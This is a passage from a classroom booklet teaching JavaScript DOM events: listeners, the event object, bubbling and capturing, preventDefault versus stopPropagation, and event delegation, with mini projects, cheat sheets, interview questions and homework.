
16.6 The { once: true } option — auto-remove after first fire

```
button.addEventListener("click", () => {
  console.log("This only ever runs ONE time, no matter how many times you click.");
}, { once: true });
```

16.7 Common event types to know

Event	Fires when...
`click`	An element is clicked
`submit`	A form is submitted (usually on the <form>, not the button)
`input`	An input/textarea's value changes, on EVERY keystroke
`change`	An input loses focus AFTER its value changed (fires less often than input)
	A key is pressed down / released

`keydown` / `keyup`	
`mouseover` / `mouseout`	Mouse enters/leaves an element
`DOMContentLoaded`	The initial HTML is fully loaded and parsed (before images finish loading)
`load`	The ENTIRE page including images/styles has finished loading

17. The Event Object

17.1 First principles: where does it come from?

> Every time an event fires, the browser automatically creates an **event object** packed with details about exactly what happened, and passes it as the FIRST argument into your callback function.

```
button.addEventListener("click", function(event) {   // "event" (often shortened to "e") — auto-supplied by the browser
  console.log(event);
});
```

17.2 The most useful properties

Property	What it gives you
`event.target`	The EXACT element that triggered the event (e.g. the specific button clicked)
`event.currentTarget`	The element the LISTENER is attached to (can differ from target — critical for delegation, Section 20)
`event.type`	The event name as a string, e.g. "click"
`event.key`	Which key was pressed (for keyboard events), e.g. "Enter"
`event.clientX` / `clientY`	Mouse position relative to the visible viewport
`event.preventDefault()`	Stops the browser's default behavior (Section 19)
`event.stopPropagation()`	Stops the event from bubbling further (Section 19)

17.3 Real-world example — reading form input on keypress

```
searchInput.addEventListener("keydown", (event) => {
  console.log(`You pressed: ${event.key}`);
  if (event.key === "Enter") {
    performSearch(searchInput.value);
  }
});
```

17.4 Real-world example — target vs currentTarget in a nested click

```
<div id="card">
  Card Title
  <button id="like-btn">Like</button>
</div>

<script>
  document.querySelector("#card").addEventListener("click", (event) => {
    console.log("target:", event.target.id);          // could be "like-btn" OR "card" — whatever was ACTUALLY clicked
    console.log("currentTarget:", event.currentTarget.id); // ALWAYS "card" — where the LISTENER lives
  });
</script>
```

> **Interview question:** "What's the difference between event.target and event.currentTarget?" Answer: target is the specific element the user actually interacted with (can be a deeply nested child); currentTarget is always the element the event listener is directly attached to. They're often the same, but differ whenever the click happens on a descendant of the listening element — the exact mechanism event delegation relies on.

18. Bubbling, Capturing & Propagation

18.1 First principles: what is "propagation"?

> When you click a deeply nested element, that click doesn't just affect that ONE element — the event actually travels through the ENTIRE ancestor chain, in a well-defined order. This traveling process is called **propagation**, and it has two distinct phases.

18.2 The three phases of every event, in order

1. `1` **Capturing phase** — the event starts at the `window` / `document` and travels DOWN through each ancestor toward the actual clicked element.
2. `2` **Target phase** — the event reaches the exact element that was clicked (`event.target`).
3. `3` **Bubbling phase** — the event then travels back UP through the same ancestor chain, from the target back out to `document` / `window` .

18.3 The visual to draw on the whiteboard

```
<div id="grandparent">
  <div id="parent">
    <button id="child">Click me</button>
  </div>
</div>

CAPTURING (top-down):      grandparent → parent → child
                                    ↓
TARGET:                           child  (the button itself)
                                    ↓
BUBBLING (bottom-up):      child → parent → grandparent
```

18.4 Bubbling in code — the DEFAULT behavior

```
document.querySelector("#grandparent").addEventListener("click", () => console.log("grandparent"));
document.querySelector("#parent").addEventListener("click", () => console.log("parent"));
document.querySelector("#child").addEventListener("click", () => console.log("child"));

// Clicking the button logs, IN THIS ORDER:
// "child"
// "parent"
// "grandparent"
// Even though you only clicked ONE element, all three listeners fired — because the click BUBBLED UP.
```

18.5 Capturing in code — the opt-in behavior

```
// The THIRD argument (true) switches a listener to fire during the CAPTURING phase instead of bubbling
document.querySelector("#grandparent").addEventListener("click", () => console.log("grandparent (capture)"), true);
document.querySelector("#parent").addEventListener("click", () => console.log("parent (capture)"), true);
document.querySelector("#child").addEventListener("click", () => console.log("child (capture)"), true);

// Clicking the button now logs, IN THIS ORDER:
// "grandparent (capture)"
// "parent (capture)"
// "child (capture)"
// Reversed! Capturing goes top-down, so ancestors fire BEFORE the actual target.
```

18.6 Why does bubbling exist at all? (the "why")

> Bubbling is what makes **event delegation** possible (Section 20) — a hugely important, widely-used performance pattern. It also matches real-world intuition: if you click a very specific spot, you're also, in a sense, "clicking" everything that visually contains that spot (you clicked inside the button, which is inside the card, which is inside the page).

18.7 Which events do NOT bubble?

> A few events are exceptions and do NOT bubble by default, most notably `focus` , `blur` , `mouseenter` , and `mouseleave` (their bubbling cousins are `focusin` / `focusout` and `mouseover` / `mouseout` , which DO bubble). Worth a quick mention so students aren't confused when delegation "doesn't work" for these specific events.

19. preventDefault() & stopPropagation()

These two methods are constantly confused with each other — make the distinction crystal clear: `preventDefault()` stops the BROWSER's built-in behavior for that action. `stopPropagation()` stops the EVENT from continuing to travel (bubble/capture) to other elements. They solve two completely different problems and are often used independently.

19.1 event.preventDefault() — stopping the browser's default action

Many HTML elements have built-in default behaviors: a link navigates to its href, a form submission reloads the page, a checkbox toggles itself. `preventDefault()` cancels JUST that built-in behavior — your own JS code still runs normally.

```
// Real-world example: validating a form before allowing submission
form.addEventListener("submit", (event) => {
  event.preventDefault();   // stop the page from reloading (the browser's default form behavior)
  const isValid = validateForm();
  if (isValid) {
    submitFormViaFetch();    // handle it ourselves, e.g. via an API call
  }
});

// Real-world example: a custom right-click context menu
document.addEventListener("contextmenu", (event) => {
  event.preventDefault();   // stop the browser's default right-click menu
  showCustomMenu(event.clientX, event.clientY);
});
```

19.2 event.stopPropagation() — stopping the event from bubbling/capturing further

Prevents the event from continuing on to ancestor (or descendant, if in capturing) elements' listeners — but does NOT cancel the browser's default behavior for the current element.

```
// Real-world example: a modal that closes when you click OUTSIDE it, but NOT when you click INSIDE it
document.addEventListener("click", () => {
  closeModal();   // clicking anywhere on the page closes the modal (attached to document)
});

modalBox.addEventListener("click", (event) => {
  event.stopPropagation();   // stop this click from bubbling up to the document listener above
  // Without this line, clicking ANYWHERE inside the modal would ALSO trigger document's closeModal()!
});
```

19.3 Can you use both together?

```
link.addEventListener("click", (event) => {
  event.preventDefault();     // don't navigate anywhere
  event.stopPropagation();    // AND don't let this click bubble up to parent listeners either
  handleCustomLinkClick();
});
```

19.4 Side-by-side comparison

	preventDefault()	stopPropagation()
What it stops	The browser's BUILT-IN behavior (navigation, form reload, checkbox toggling)	The event traveling to OTHER elements' listeners
Does it stop other listeners on the SAME element?	N/A — unrelated concept	No! Other listeners on the SAME element still all run (see stopImmediatePropagation below)
Typical use case	Custom form submission, custom right-click menu, disabling drag-and-drop defaults	Modal click-outside-to-close, nested clickable cards, avoiding delegated handlers firing unwantedly

19.5 Bonus: stopImmediatePropagation()

```
button.addEventListener("click", (e) => {
  e.stopImmediatePropagation();
  console.log("Handler 1 ran");
});
button.addEventListener("click", () => {
  console.log("Handler 2 — this will NEVER run, even though it's on the SAME element!");
});
// Regular stopPropagation() would still let Handler 2 run (same element, same phase).
// stopImmediatePropagation() blocks EVEN remaining listeners on this exact same element.
```

20. Event Delegation

20.1 The problem delegation solves

Imagine a to-do list with a "Delete" button on every item. The naive approach attaches a separate click listener to EVERY SINGLE button:

```
// NAIVE — doesn't scale, and BREAKS for items added later
document.querySelectorAll(".delete-btn").forEach(btn => {
  btn.addEventListener("click", handleDelete);
});
// Problem 1: with 1,000 items, that's 1,000 separate listeners in memory — wasteful.
// Problem 2 (the REAL killer): if you dynamically ADD a new to-do item later (Section 12),
// its delete button was NEVER included in this querySelectorAll loop, so it has NO listener at all!
```

20.2 The delegation solution — exploit bubbling!

Since clicks BUBBLE UP (Section 18), you can attach just ONE listener to a stable PARENT container, and use `event.target` to figure out which specific child was actually clicked — even children that didn't exist yet when the listener was first attached!

```
const list = document.querySelector("#todo-list"); // this container always exists

list.addEventListener("click", (event) => {
  // Did the click happen on (or inside) a delete button?
  if (event.target.matches(".delete-btn")) {
    const todoItem = event.target.closest(".todo-item"); // traversal from Section 5
    todoItem.remove();
  }
});
// ONE listener, handles delete clicks for EVERY current AND future to-do item — automatically.
```

20.3 Step-by-step: why this works even for elements added LATER

1. **1** The listener lives on `#todo-list` — a container that never gets removed/recreated.
2. **2** You click a delete button that was added to the DOM five minutes after the page loaded.
3. **3** That click event BUBBLES from the button, up through the list item, up to `#todo-list` — where your listener is waiting.
4. **4** Inside the handler, `event.target` tells you exactly which button was actually clicked — so you can react correctly regardless of when that button was created.

20.4 event.target.matches() — checking if the clicked element fits a selector

```
if (event.target.matches(".delete-btn")) { ... }
// matches() checks a single element against a CSS selector string — true/false.
// Very useful in delegation to filter "was it specifically THIS kind of element that was clicked?"
```

20.5 Real-world example — a delegated dropdown menu system

```
document.body.addEventListener("click", (event) => {
  if (event.target.matches(".dropdown-toggle")) {
    event.target.nextElementSibling.classList.toggle("open");
  } else {
    // clicked ANYWHERE else — close all open dropdowns
    document.querySelectorAll(".dropdown-menu.open").forEach(menu => menu.classList.remove("open"));
  }
});
```

20.6 When NOT to use delegation

Delegation relies on bubbling, so it doesn't naturally work for the small set of non-bubbling events (Section 18.7) without extra handling. It's also unnecessary overkill for a handful of truly static elements that will never change — plain direct listeners are perfectly fine there.

20.7 Delegation summary — why it's considered a best practice

Benefit	Why
Fewer listeners in memory	ONE listener instead of hundreds/thousands
Works automatically for future elements	New children added later are still covered — no re-binding needed
Simpler cleanup	Removing a child element automatically "removes" its delegated behavior — no leftover listener to manually clean up

Very common interview question: "What is event delegation and why is it useful?" Answer: attaching a single listener to a common ancestor, relying on event bubbling, and using event.target to identify which specific descendant triggered it. Reduces memory usage from many listeners to one, and automatically covers dynamically-added elements without needing to re-attach listeners each time.

PART 5 — PRACTICE & MASTERY

21. Mini Projects — Chaining Everything Together

21.1 Mini project — a complete, delegated to-do list (from scratch)

```
<ul id="todo-list"></ul>
<input id="todo-input" placeholder="New task..." />
<button id="add-btn">Add</button>

<script>
  const list = document.querySelector("#todo-list");
  const input = document.querySelector("#todo-input");
  const addBtn = document.querySelector("#add-btn");

  function addTodo(text) {
    if (!text.trim()) return;
    const li = document.createElement("li");
    li.textContent = text;              // safe — textContent, not innerHTML (Section 7!)
    li.classList.add("todo-item");

    const deleteBtn = document.createElement("button");
    deleteBtn.textContent = "×";
    deleteBtn.classList.add("delete-btn");

    li.append(deleteBtn);
    list.append(li);
    input.value = "";
  }

  addBtn.addEventListener("click", () => addTodo(input.value));
  input.addEventListener("keydown", (e) => {
    if (e.key === "Enter") addTodo(input.value);
  });

  // ONE delegated listener handles delete for every item, current AND future
  list.addEventListener("click", (event) => {
    if (event.target.matches(".delete-btn")) {
      event.target.closest(".todo-item").remove();
    }
  });
</script>
```

This project alone touches: createElement, classList, append, event listeners, the event object, delegation, closest(), and the textContent security lesson — genuinely the perfect capstone demo for this whole booklet.

21.2 Mini project — a modal that closes on outside click (propagation control)

```
<div id="overlay">
  <div id="modal">
    <h2>Modal Title</h2>
    <button id="close-btn">Close</button>
  </div>
</div>

<script>
  const overlay = document.querySelector("#overlay");
  const modal = document.querySelector("#modal");
  const closeBtn = document.querySelector("#close-btn");

  overlay.addEventListener("click", () => overlay.classList.remove("visible"));
  modal.addEventListener("click", (e) => e.stopPropagation()); // clicks INSIDE modal don't bubble to overlay
  closeBtn.addEventListener("click", () => overlay.classList.remove("visible"));
</script>
```

21.3 Mini project — efficiently rendering a large list with DocumentFragment

```
function renderUsers(users) {
  const fragment = document.createDocumentFragment();
  users.forEach(user => {
    const card = document.createElement("div");
    card.classList.add("user-card");
    card.textContent = user.name;          // safe from XSS
    card.dataset.userId = user.id;          // custom data attribute
    fragment.appendChild(card);
  });
  document.querySelector("#user-list").appendChild(fragment); // ONE reflow for the whole batch
}
```

22. Cheat Sheets

22.1 Selection methods

Method	Returns	Live?
`getElementById`	Single element or null	—
`getElementsByClassName/TagName`	HTMLCollection	Yes (live)
`querySelector`	Single element or null	—
`querySelectorAll`	NodeList	No (static snapshot)

22.2 Content properties

Property	Parses HTML?	XSS-safe?
`textContent`	No	Yes
`innerHTML`	Yes	No — sanitize first
`innerText`	No (CSS-aware)	Yes

22.3 Event propagation phases

Phase	Direction	Default listener behavior?
Capturing	document → target (top-down)	Opt-in (3rd arg = true)
Target	at the element itself	—
Bubbling	target → document (bottom-up)	Default behavior

22.4 Stopping things

Method	Stops...
`preventDefault()`	The browser's default action for this element
`stopPropagation()`	The event traveling to other elements
`stopImmediatePropagation()`	Propagation AND other listeners on the same element

23. Interview Questions

Q1. What is the DOM? Easy

A live, in-memory tree of JavaScript objects that the browser builds from your HTML, which JavaScript can read and modify — changes to it are instantly reflected on screen.

Q2. Difference between window and document? Easy

window represents the entire browser tab (URL, history, timers, screen size); document is one property of window representing the page's DOM content specifically.

Q3. Difference between querySelectorAll and getElementsByClassName? Medium

querySelectorAll accepts any CSS selector and returns a static (non-live) NodeList. getElementsByClassName only matches by class and returns a live HTMLCollection that auto-updates as the DOM changes.

Q4. Why is textContent safer than innerHTML? Medium

textContent always treats its value as plain text/data and never parses it as markup, so injected script/event-handler payloads can never execute. innerHTML parses its value as real HTML, so untrusted input can inject executable code (XSS).

Q5. What's the difference between event bubbling and capturing? Medium

Capturing travels top-down from document to the target element; bubbling travels bottom-up from the target back to document. Listeners default to the bubbling phase unless the third argument to addEventListener is set to true.

Q6. What is event delegation and why use it? Medium

Attaching one listener to a common ancestor and using event.target (relying on bubbling) to detect which descendant triggered it — instead of attaching a separate listener to every individual child. Uses less memory and automatically covers elements added to the DOM later.

Q7. Difference between preventDefault() and stopPropagation()? Medium

preventDefault() cancels the browser's built-in default behavior for that element (like a link navigating or a form submitting/reloading). stopPropagation() stops the event from continuing to travel to other elements' listeners — it does not affect the browser's default behavior.

Q8. What's the difference between event.target and event.currentTarget? Hard

target is the exact element the user interacted with (could be a nested child). currentTarget is always the element the listener itself is attached to. They differ whenever the event bubbles up from a descendant — the mechanism event delegation depends on.

Q9. What is a DocumentFragment and why use it? Hard

A lightweight, memory-only container that isn't part of the visible page. You build many elements into it first, then insert it into the real DOM in one operation — avoiding many separate reflows/repaints when adding a large number of elements.

Q10. Explain reflow vs. repaint. Hard

Reflow (layout) recalculates the size/position of elements and is triggered by structural or dimensional changes. Repaint recalculates only visual appearance (color, shadows) without affecting layout, so it's cheaper. Reflow always implies a repaint afterward; a repaint alone does not require a reflow.

Q11. Why might removeEventListener silently fail to remove a listener? Hard

removeEventListener requires the EXACT same function reference that was passed to addEventListener. Passing a new anonymous/arrow function (even with identical code) is a different reference and will not match, so nothing is removed.

Q12. What's the practical difference between the "attribute" and the "property" for something like a checkbox's checked state? Hard

The attribute (via getAttribute) reflects the ORIGINAL value written in the HTML and generally does not change afterward. The property (element.checked) reflects the LIVE, current state as the user/JS interacts with it — the two can diverge after the initial page load.

Q13. How would you efficiently clear a container's children without XSS risk? Medium

container.innerHTML = "" is safe here because you're assigning an empty, trusted string (not untrusted content) — the XSS risk only applies when inserting untrusted data. Alternatively loop with container.removeChild(container.firstChild) to avoid innerHTML entirely.

24. Tricky Output-Based Questions

> Read each snippet WITHOUT running it, predict the output/behavior, then verify. This mirrors the exact format interviewers use.

Q1. Medium

```
const cards = document.getElementsByClassName("card");
console.log(cards.length); // suppose it's 2

const newCard = document.createElement("div");
newCard.className = "card";
document.body.appendChild(newCard);

console.log(cards.length);
```

Output: `2` then `3` — HTMLCollection (from getElementsByClassName) is LIVE, so it auto-reflects the newly added .card element without re-querying.

Q2. Medium

```
const cards = document.querySelectorAll(".card"); // suppose it's 2
document.body.insertAdjacentHTML("beforeend", '<div class="card">New</div>');
console.log(cards.length);
```

Output: `2` — querySelectorAll returns a STATIC NodeList, a snapshot at call-time. It will NOT reflect DOM changes made afterward; you'd need to call querySelectorAll again.

Q3. Hard

```
<div id="outer">
  <div id="inner">Click me</div>
</div>
<script>
  document.querySelector("#outer").addEventListener("click", () => console.log("outer"));
  document.querySelector("#inner").addEventListener("click", () => console.log("inner"));
</script>
// User clicks on the "inner" div. What logs, in what order?
```

Output: `"inner"` then `"outer"` — the click fires on the target first, then BUBBLES UP to the outer listener (default bubbling phase, since neither listener passed `true` for capture).

Q4. Hard

```
// Same HTML as Q3, but now:
document.querySelector("#inner").addEventListener("click", (e) => {
  console.log("inner");
  e.stopPropagation();
});
document.querySelector("#outer").addEventListener("click", () => console.log("outer"));
// User clicks "inner". What logs?
```

Output: only `"inner"` — stopPropagation() inside the inner handler prevents the click from bubbling up to reach the outer div's listener at all.

Q5. Easy

```
const el = document.querySelector("#msg");
el.textContent = "<b>Bold?</b>";
console.log(el.innerHTML);
```

Output: `"<b>Bold?</b>"` — setting textContent stores the angle brackets as literal characters; when you then READ innerHTML, the browser shows you the HTML-escaped representation of that literal text, proving no real <b> tag was ever created.

Q6. Hard

```
const box = document.querySelector(".box"); // has CSS: .box { color: blue; } in a stylesheet
console.log(box.style.color);
```

Output: `""` (empty string) — .style only reflects INLINE styles (set via JS or the style="" HTML attribute), not styles coming from a stylesheet. Use getComputedStyle(box).color to see "blue" (well, its rgb() form).

Q7. Hard

```
function handleClick() { console.log("clicked"); }
btn.addEventListener("click", handleClick);
btn.addEventListener("click", handleClick); // added AGAIN, same reference
// User clicks once. How many times does "clicked" log?
```

Output: logs `"clicked"` only **ONCE** — addEventListener silently ignores an attempt to add the exact same function reference for the exact same event type on the exact same element twice; duplicates are automatically de-duplicated.

Q8. Medium

```
<a href="https://example.com" id="link">Go</a>
<script>
  document.querySelector("#link").addEventListener("click", (e) => {
    console.log("Clicked!");
  });
</script>
// User clicks the link. What happens?
```

Output: logs `"Clicked!"` AND the browser navigates to example.com — without event.preventDefault(), the browser's default action (navigation) still happens alongside your custom handler; they are not mutually exclusive unless you explicitly cancel the default.

Q9. Hard

```
const list = document.querySelector("ul");
list.addEventListener("click", (e) => {
  console.log(e.target.tagName);
});
// HTML: <ul><li><span>Click here</span></li></ul>
// User clicks directly on the word "here" (inside the span).
```

Output: `"SPAN"` — event.target is always the DEEPEST, most specific element actually clicked, even though the listener lives on the outer <ul>. This is exactly why delegation code checks event.target (or uses .matches()/.closest()) rather than assuming it's the element the listener is attached to.

Q10. Hard

```
const frag = document.createDocumentFragment();
const p = document.createElement("p");
p.textContent = "Hello";
frag.appendChild(p);
document.body.appendChild(frag);
console.log(frag.children.length);
```

Output: `0` — appending a DocumentFragment to the real DOM MOVES all its children into that target location and leaves the fragment itself empty afterward. This is intentional: the fragment is just a temporary staging container, not a permanent home.

25. Practice Problems (Homework Set)

> Give these as homework. Increasing difficulty; the last two combine most of the booklet's concepts.

1. **Easy** Select an element by ID and change its text content to "Hello World" using textContent.
2. **Easy** Use querySelectorAll to select all elements with class ".item" and log how many there are.
3. **Easy** Add and then remove a CSS class from a button using classList, with a 2-second delay using setTimeout.
4. **Medium** Build a "Show More / Show Less" toggle button that uses classList.toggle to expand/collapse a paragraph of text.
5. **Medium** Create 5 new <li> elements dynamically using createElement and a loop, and append them all to an existing <ul>.
6. **Medium** Build a live character counter: as the user types in a <textarea>, display "X / 200 characters" below it, updating on every keystroke (hint: the "input" event).
7. **Medium** Demonstrate event bubbling by nesting three colored s and logging each one's ID when any of them is clicked, WITHOUT using stopPropagation.
8. **Hard** Build a delegated click handler on a parent <ul> that changes the background color of whichever <li> was clicked, and works correctly even for <li> elements added to the list AFTER the page loaded.
9. **Hard** Build a custom confirmation dialog: clicking a "Delete" button should NOT immediately delete — instead show a small inline "Are you sure? Yes/No" prompt using createElement, and only remove the original item if "Yes" is clicked. Use event.stopPropagation() where appropriate so the dialog's own clicks don't trigger any outer delegated handlers unexpectedly.
10. **Hard** Capstone: build a small "Notes App" — a form to add a note (title + text, safely using textContent, never innerHTML with raw input), each note rendered as a card with its own delegated Delete button, and use a DocumentFragment when initially rendering more than 20 sample notes at once for performance.

End of booklet — MyAnatomy Teaching Series. Prepared for classroom use, first-principles style, from zero to interview-ready.